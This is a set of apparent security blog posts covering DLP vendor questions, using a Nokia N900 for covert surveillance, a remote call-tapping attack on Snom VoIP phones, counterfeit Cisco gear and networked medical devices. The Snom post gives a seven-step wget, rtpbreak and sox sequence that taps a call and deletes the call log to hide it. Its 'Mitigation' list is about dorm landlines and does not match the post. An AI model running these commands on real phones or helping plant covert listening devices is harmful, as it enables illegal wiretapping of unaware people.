“There’s a war out there, old friend. A world war. And it’s not about who’s got the most bullets. It’s about who controls the information. What we see and hear, how we work, what we think… it’s all about the information” — Cosmo, Sneakers (1992)

The headline news of Wikileaks has drawn considerable attention to the huge, intractable problems of digitized data and how much a single individual can damage an organization, business or nation-state. But these issues are not just with Wikileaks, as the recent breach of gaming leader Blizzard resulted in disclosure of business plans and product roadmaps.

Blizzard Product Roadmap

With this focus on DLP, some insightful commentary is out there. In particular, Gary Warner in his Wikileaks: Lessons Learned blog post discusses the subtleties of data classification versus data categorization, and outlines a pragmatic approach to detection, such as frequency of access monitoring across these defined planes. This article is well worth the read. Another good, and short blog post is from Neil MacDonald at Gartner, who advocates redefining “Data Loss prevention” as a subset of “Data Lifecycle Protection” — a really good point.

These are going to be heady times for DLP (Data Loss Prevention) vendors, and we can expect to see DLP solutions become as popular as the late 90’s and early 2000’s security mantra of “we have to install antivirus and firewalls.” Many organizations are seeking and will continue to seek technical solutions to gain control over data exfiltration. As expected, many DLP vendors are offering “the perfect solution” that promises to fix your problems.

In my view, however, I’m seeing vendors either unaware or willfully ignorant of the many technical means to exfiltrate data over the network in a surreptitious manner. And put simply, their products and solutions can’t begin to address these threats.

To provide folks with some ammo to use for Q&A with DLP vendors, I’ve come up with the following 10 questions. The first few are easy, and the DLP vendor probably has some type of coverage. However, as the questions progress, you can expect to start seeing blank stares, and hearing the hemming-hawing and mentioning of “it’s on the product roadmap — just wait one more quarter” and “we’ll check with our engineers and get back to you” — always my favorite vendor answers 😉

1. How does it inspect SSL traffic?

This is a softball question, with the likely answer being some kind of man-in-the-middle decryption scheme, possibly having to use another vendor’s hardware. The follow-up to this is: What about Stunnel?

2. How does it inspect services like Dropbox, EverNote, etc.?

Another softy, but starting to get a little more difficult because we’re dealing with multiple consumer services.

3. Inspection of various consumer communications over IM like AIM, Google Chat, etc.?

Lulling them into complacency, this should be a gimme question with no problem answering.

4. Does it do any metadata analysis is conducted on documents (.doc,.xls, .pdf, etc.) or images (.png, .gif, .jpg, etc.)? What about video files (.avi, .mp4, etc.)?

You should expect some raised eyebrows on this one.

5. Does it do any steganography analysis of images?

Some will say yes, others no. If yes, the follow-up question is: How do you do this? There are literally hundreds of steganography tools — do you have strings or signatures that you’re looking for from all of these tools?

6. You product probably blocks well-known P2P like Limewire, Bearshare, etc. What about private P2P networks like WASTE?

7. What about VoIP, including encrypted ones like zphone, Skype, Cisco Skinny? Specifically, does it inspect for DMTF tones?

“It’s on the roadmap” will be most likely answer.

8. Does it block/ inspect advanced data exfiltration tools and tactics?

LOKI-types (tunneling through ICMP)
DNS-tunneling (Iodine and services like dnstunnel.de)
pwnat tunnels – They will likely not even know this tool!
Old school SSH reverse tunnels and forwarding

This will be perhaps the most exciting Q&A. Be sure to do your homework on these tools and techniques!

9. How does it inspect TOR traffic? TOR hidden services?

Expect audible groans.

10. How does it address IPv6 tunneled inside IPv4?

Expect quizzical looks.

Hopefully this will enlighten you about some of the methods attackers will use to perform data exfiltration. And will also provide you some good questions to beat up vendors after they take you out for lunch or golf. At the very least, you can expect your DLP vendor to mention that nobody has asked some of these questions of them before 🙂

Welcome to the 3rd post in my series of leveraging the power of the Nokia N900 utilizing opensource, cutting-edge security tools for espionage/ethical penetration testing.

As mentioned in my last article, I’m continuing to focus on available, easily installed and free tools. This post will cover more scary security-related applications for the Nokia N900, in particular the ability to control the N900 via SMS.

I’ve been scoping tools for the N900 that will place a call surreptitiously and will cover two here: BabyPhone and SMSCON.

BabyPhone

BabyPhone for the N900 is a monitoring application that uses the N900’s microphone to listen for a predefined noise threshold, like a baby crying, and then initiates a phone call to the configured number.

From a potential espionage/pen-test standpoint, I found this an attractive application in the sense that it’s useful to kick off a call when there’s ambient noise in the target location, such as an executive conference room. However, I had some problems with the microphone — not with the sensing part that listens for noise and then initiates the call, but rather after the call was placed, I could not hear anything. This might be a issue with my phone, and some quick searches for others with this problem proved fruitless.

Were the mic working, I might have stuck with this application and not looked further. In retrospect, it’s fortunate that it did not work, as I was forced to look for other applications and found a killer one called SMSCON.

SMSCON

SMSCOM is an application that allows you to control your Nokia N900 via SMS messages to the phone. Clearly, from a espionage/pen-test perspective this kind of remote control over a cellular network using SMS is a powerful tool, and is basically allowing you to send SMS commands to a Linux box, which is what the N900 is at the end of the day. SMSCON is also useful as a poor man’s Lojack in that the remote control aspects allow you to pull GPS data, take pictures of the perp who stole your phone, SMS the new SIM card information when a replacement SIM is inserted into the N900, etc.

SMSCON has a companion program called SMSCON-EDITOR which which provides some basic pre-configured options and templates to add in various parameters like phone number to call, email address, etc. There are some other options, such as a reverse SSH session from the phone to a SSH server, thereby allowing you to connect to the external SSH server, and then connect back to the N900 through the established SSH tunnel on the external server…very old skool but still slick and an effective means to traverse NAT, firewalls, etc.

Another SMSCON-EDITOR option allows you to kick off a Bash script on the N900 via SMS. Really, with all the bells and whistles and pretty GUI of SMSCON, this single function is the one single thing that a skilled attacker would need to do in using the N900 in a espionage/pen-test scenario. Think of leaving the N900 at a target site, and then sending the SMS to kick off your custom bash script that does any number of things, such as bluetooth scanning, firing up the N900 wireless adapter for sniffing, calling a phone, etc. One of the slickest scripts will send a SMS when the N900’s keyboard is opened or closed, providing a useful means to determine if the target has discovered and is handling the N900 you covertly placed on-site for your espionage/pen-test engagement. Pure evil.

Of course, it would be great if all the functions and scripts worked right. With both the SMSCON and SMSCON-EDITOR programs plenty of functions that work, but some do not, and there are plenty of bugs and non-functioning glitches to SMSCON and SMSCON-EDITOR at this time. That said, the good news is that both projects are active and bugs are getting fixed. Both of these are definitely programs to watch, but even so, they have provided the basic framework from which to build your own tools that leverage the N900.

Use The Source

Especially useful about SMSCON is that it’s written in a nice Python script. Having a plaintext script as opposed to a compiled binary is excellent as it allows a few things, such as seeing exactly what is going on under the covers. Wondering how the N900 sends a SMS? Read the script. How does the N900 access the front camera, take a photo of the user, and then email it? Read the script. How does the N900 make a cellular call? Read the script.

Overall, the usefulness of this written in Python is huge, and it allows the savvy user and coder to pull functionality from the SMSCON Python script and roll-your-own mini-tools to do specific actions on the N900. I’m not a coder, but even with my meager coding skills I can read through the well-documented and clean SMSCON Python code and figure out quite a bit.

If you’re planning to use SMSCON be sure to check out the Maemo forum thread for SMSCON — it will save you time and answer many of your questions.

Well, that’s it for this post, hope you’ve enjoyed it and that the information helps broaden your view of what kinds of tools and software can be leveraged on COTS gear for espionage/pen-testing engagements. As for what’s next, I’ve been working with some of the wireless tools like Aircrack-NG and Kismet on my N900 and will likely make that the next blog post, or soon thereafter, in this series.

Welcome to the 2nd post in my series of leveraging the power of the Nokia N900 handheld using opensource, cutting-edge security tools for ethical penetration testing.

In keeping with the theme, the idea is to cover security-related tools and applications that enhance the N900’s offensive capability.  Recall the initial focus is on tools that are available, easy to install and require low technical expertise — that is, expertise in terms of installation, not actually running the tools in a network attack scenario. You’ll have to learn that on your own, and IronGeek is a great place to start.

As the blog series progresses, I’ll cover more unique tools and cutting-edge stuff,  I’m still working with a production phone that I can’t risk ‘bricking’ — however, if anyone’s interested in supporting advanced security tool support and research on the Nokia N900 platform and seeing the results posted here on infosecisland, please drop me a note offline.

NeoPwn Update — BETA versions leaked, possible malicious modification

In Weaponizing the Nokia N900 – Part 1, I mentioned the upcoming release of NeoPwn, a software image designed specifically for the Nokia N900.  The software is still unreleased, but there’s been a BETA test going on.  Unfortunately, someone in the BETA program has re-released the BETA into the wild, and quite possibly did some malicious modifications.

A warning, if you’re trying to go trolling around the Torrent sites or RapidShare for this leaked NeoPwn image, I’d suggest you re-think that strategy.  Not only will you possibly get a bad, or trojaned image, but you’ll also drain support from cool projects like NeoPwn — I think that specialized projects like this that take alot of time should be supported, and it’s worth paying for this kind of effort.

Oh, and bonus points for locating and publishing analysis of a trojaned N900 NeoPwn BETA image!

Easy Debian with LXDE

Easy Debian on the Nokia N900 is super-easy to install, well-documented, and provides you with a full desktop environment that is separate from the underlying OS.  Here’s a nice 8-minute video on Easy Debian on the N900, and to get you started, there’s great documentation on the Maemo Wiki.

Basically, you can install Easy Debian LXDE using the GUI application manager.  It’s a snap, and easy to back out of if you want to. With this package you get a full Linux distro that runs on top of the N900’s native OS — think of it as similar to running a VMware appliance image on a host.

Once you have Easy Debian and LXDE installed, you can begin to add the kinds of security tools  that would typically install on a full-fledged desktop!  Think a full version of Nessus, both client and server, running on the N900 in LXDE.

It’s totally doable, albeit these packages can be a bit of a drain on the CPU and memory — that is, it’s workable, but don’t expect snappy and fast.  Still, running the Nessus client and/or daemon on this device is a useful feature — serious security tools like Nessus running on a compact phone-sized device open awesome possibilities for covert testing in on-site ethical penetration testing engagements.

If you’re contemplating adding several security tools for the N900, definitely look into adding the Easy Debian LXDE package.  Overall, it makes life much easier and enables you to play around with a full OS without modifying the base OS on the phone.

There’s potential here for custom LXDE images for the N900 as well.  Could be an interesting project…

It’s noteworthy that from a law-enforcement forensics standpoint, the N900 presents an advanced challenge.  If LEA are going after more than the removable SIM, the “virtual image” Easy Dedian LXDE capability makes it more of a challenge for airport cell phone siezures and subsequent analysis.

The potential for running LXDE with an encrypted filesystem will add to this forensics challenge in the future.  On the flip side, it’s also a useful privacy enhancement, and can aid in the unwanted intrusion into private data.

LiveCast Mobile for N900 — Poor Man’s James Bond Espionage Tool?

It’s worthwhile to cover several applications that can turn the N900 into a powerful multimedia broadcasting device — or in terms of espionage a “corporate green killer, bean spiller” as Boots from “The Coup” might say.  I’m going to only focus on one for now, and will expand on others that are worthy in future posts.

By far the scariest I’ve seen so far is the Livecast Mobile.  This app will allow you to stream to a webserver live audio and video from the N900.  What’s interesting is you can set either of the two cameras on the N900 — while front camera’s red LED is illuminated when the software is running, there’s no indication if the front camera is used, which has lower resolution, but is much more covert.

Speaking from personal experience, it’s a bit unnerving to fire this app up, leave the N900 on a table, go to another room, go to a Livecast webpage and see live video and hear live audio from this phone — going out to the Interwebs — to the Livecast servers — back to my PC browser.  Yikes.

Think about that next time you’re in a highly confidential meeting and a N900 (or any of several phones) are lying on the table, or “forgotten” on a chair or end-table.  For that matter, anyone check above the ceiling in the plenum in your company’s corporate boardroom lately? 🙂

All kidding aside, clearly, there are a number of legal issues with using this kind of application, so be aware of the risks and liabilities.

Coming Up Next…

Some of the things I’m going to focus on in upcoming articles for the “Weaponizing the Nokia N900” series includes:

• More scary applications for poor man’s espionage
• Using the Nokia 900 for wireless attacks, including WEP/WPA capture and cracking, packet injection, Kismet on the N900, etc.
• FakeAP and Karma type attacks — turning the N900 into a rouge AP that does MITM, etc.
• USB Ethernet to add a third data interface (wifi, cellular, US)

I have a bit of history in attacking VoIP phones, specifically VoIP Wifi phones. Way back in 2005-2006 I purchased several VoIP Wifi phones and conducted very basic security analysis to demonstrate a commonality of vulnerabilities, most notably that many of them had a number of open ports and extraneous services.

This research resulted in several CVEs, including some companies that should have known better. I also spoke a few conferences, and you can check out my Shmoocon slides from 2006. Most importantly of all, my findings of the VXworks debugging port of UDP/17185 was recently deeply expanded upon by none other than HD Moore who released research and a set of tools that is truly awe-inspiring when it comes to attacking VXworks debugging. For myself, it was humbling to see HD take this to a level that I can only dream of someday attaining.

So, last week, Michael Sutton at Zscalar wrote a blog post about misusing a new feature in HP Printers called WebScan. Essentially, WebScan functionality allows a user to scan a document that is physically on the printer and save the image to the local computer. HP’s WebScan is an excellent example of how a device’s features are all too often are leveraged by attackers, and Michael’s post inspired me to look at some recent features ripe for abuse in VoIP phones.

One area that I wanted to revisit is attackers able to control a VoIP phone dialing. Back in 2006 I identified a feature in Clipcomm VoiP Wifi phones that would allow an attacker to log into the phone via telnet and place a call from the VoiP Wifi phone to any number. Pretty bad stuff, right?

Looking at some of the newer VoIP phones from Snom, however, and there’s a webpage on the Snom’s webserver that allows one to enter in a number to dial. A useful feature, so long as your Snom has authentication set on the webserver, otherwise anyone with access to that webpage can make a call. From the Snom user’s perspective, this feature will start a call from your Snom on the speakerphone.

So, with this kind of feature, an attacker could search for Snom phones exposed on the Internet, determine if they are using HTTP authentication, and if they are not, could easily connect the the Snom VoIP phone’s webserver and punch in the number to dial — clearly opening up avenues to cause grief such as expensive 900 numbers, prank calls, etc.

Really, this is not a big deal, and is more of a headache than anything else. But what if an attacker could remotely capture on the phone the voice streams from a call that she placed? That ups the ante a bit, and such an attack is possible by abusing features!

Snom VoIP Phone PCAP Trace

Some Snom VoIP phones have a feature called “PCAP Trace” that allows, via the web interface, the start/stop and download of a PCAP file on the Snom VoIP phone — the screenshot below shows the actual page on the VoIP phone, a Snom 360 in this case.

The Snom PCAP Trace feature does have limitations in that it the PCAP data is stored in a circular buffer because of memory limitations, and that enabling PCAP capture can impact the phone’s performance (no surprise here). Still, it is a scary feature that if not secured creates an attack vector where a remote attacker can literally tap your phone.

Remote Tapping Your Snom VoIP Phone

To start/stop a PCAP on the Snom VoIP phone, one just clicks on the ‘Start’ or ‘Stop’ buttons on the phone webpage. After the capture is complete, an attacker can then download the PCAP trace and extract the audio using Wireshark or the amazing command-line RTPbreak by Michele Dallachiesa.

So, combining the web page place call feature with the PCAP trace feature, an attacker can make a Snom VoIP phone call any number and then the attacker can capture the call remotely on the Snom VoIP phone. For the final touch, an attacker can also delete the call record of the last call made, thereby wiping the apparent record of the call, at least on the Snom VoIP phone itself. Scary? You betcha. The following is a walk-through of the seven steps — you can code this up for yourself or download my handy-dandy snom_call_tap.sh script — please do be ethical and responsible with this script.

Poor Man’s NSA — Step-by-Step

Step 1: Start the tap on the Snom Web interface
wget –post-data=’start_pcap=Start’ $1/pcap.htm -O logz_$1/start_pcap.html

Step 2: Place the call to the target through the Snom Web Interface
wget –post-data=’NUMBER=’$2’&DIAL=Dial&active_line=1′ $1 -O logz_$1/place_call.html

Step 3: Stop the tap on the Snom Web interface
wget –post-data=’stop_pcap=Stop’ $1/pcap.htm -O logz_$1/stop_pcap.html

Step 4: Pull the PCAP from the Snom Web Interface
wget http://$1/trace.pcap -O logz_$1/trace_$1.pcap

Step 5: Run RTPbreak to extract the RTP stream from the PCAP
rtpbreak -P2 -t100 -T100 -d logz_$1 -r logz_$1/trace_$1.pcap

Step 6: Run SOX to marry the extracted audio into single WAV file
sox -r8000 -c1 -t ul logz_$1/rtp.0.0.raw -t wav logz_$1/0.wav

Step 7: Delete the last call record to cover tracks
wget http://$1/adr.htm?dialeddel=1 -O logz_$1/del_call_log.htm

So, there you have it. What makes this kind of feature especially problematic are two things. First, known vulnerabilities in some Snom phones allows an attacker to bypass authentication. Second, Shodan, which I’ve written about before here and here, makes it easy for attackers to locate vulnerable Snom phones. I leave following-up on these aspects an exercise for the reader.

Mitigation

Don’t like the possibility of some miscreant controlling your Snom VoIP phone, making calls on your behalf and tapping your calls? I expect that you don’t. Here are some humble suggestions to mitigate help you to mitigate your risk.

• Ensure that student’, and their parents, are made aware of the issues and risks of not having a landline, as well as the benefits

• Prioritize cellular e911 location tracking on college campuses

• Require residents with disabilities to have a landline

• Provide residence hall staff with resident’s cellular numbers

• Provide a privacy booth for landline phones placed in common areas to enable students to make calls with some level of privacy and caller-id blocking

On NPR’s ‘Fresh Air’ this week, Richard Clarke made some great points, in particular with the logic bomb scenarios of sneaking in code and untrustworthy hardware. While this is old news, it’s still a very real threat — recall that Chisco devices were discovered on US government networks and disclosed back in 2008.

With Richard Clarke’s story in mind, I think it’s worth re-visiting the “Chisco” problem. This article below is from three years ago, yet this same Chisco eBay seller mentioned, “Sincere Networking” is still up and running (ya gotta love that name, no?). Bear in mind this is just one of many Chisco eBay stores — that is, there are plenty of others moving all types of Chisco gear on eBay, including routers, firewalls, switches. We are way beyond WAN NIC interfaces folks.

Why can’t these get shut down?

Network World: “eBay ‘Chisco’ stores are selling fake Cisco products originating in China”

This counterfeit gear has already landed on plenty of networks, and it’s likely to continue. Just like the FBI’s conclusion on slide 10, I agree that a huge risk in this area stems from small ‘mom n’ pop’ subcontractor outfits that choose to purchase this gear on the cheap from eBay, and then charge-back their own clients for the list price on CCO. Of course, that dirty network engineer in your organization could do a swap-out with Chisco gear during your next change management window — and in these economic times perhaps merely to re-sell the valuable real card rather than backdoor the organization’s network.

That said, recent security conference presentations, such as CanSecWest’s “Can you still trust your network card” should be at the forefront of the discussion when this Chisco topic comes up.

I know this is a dirty subject. It’s so dirty that very few folks even want to discuss it. It’s a nightmare. But like it or not, it’s going to be up to you to make sure that your gear is legitimate, especially if you’re on a US government network as according to the FBI’s presentation on slide 40, “Cisco’s Brand Protection does NOT coordinate with Cisco’s Government Sales”

Here’s a few links to hopefully get you started on the right path.

Comments with additional resources are most welcome.

Awhile back I blogged on VOIPSA about medical devices using VoIP. This is a follow-up to that post, and is a bit more tangible in that these devices are showing up on the auction sites.

I typically check eBay weekly for medical devices showing up, with an eye for anything with a network interface.

Bluetooth-enabled devices abound, but the (mis-perception) that an attacker must be physically close decreases popular interest from a security testing perspective. In contrast, it’s a box “on the wire” that enables an attacker in say, Palau, to to reach out and provide what I’d call a “negative home medical monitoring experience.”

So what’s on eBay?

Here’s a ViTel (now owned by Bosch) device and blood pressure monitor on eBay that’s a few years old, but has the ability “…to communicate via standard telephone line, broadband, or cellular and does not interfere with existing telephone service.”

ViTel Net Turtle 400 & A&D UA-767PC Blood Pres. Monitor
eBay Link: http://tinyurl.com/yytwgma

Suggested for discussion:

1. Should vendors of these devices be concerned about their sale on site like eBay? Why or why not?

2. Are there any available business services that monitor the after-market sale of these devices?

3. Would/should vendors care about re-acquiring these devices?

4. How interesting / valuable would it be to conduct a security analysis on this device, report the findings to CERT, and publish at DefCon or BlackHat?

5. Does a diagram like the one below concern anyone?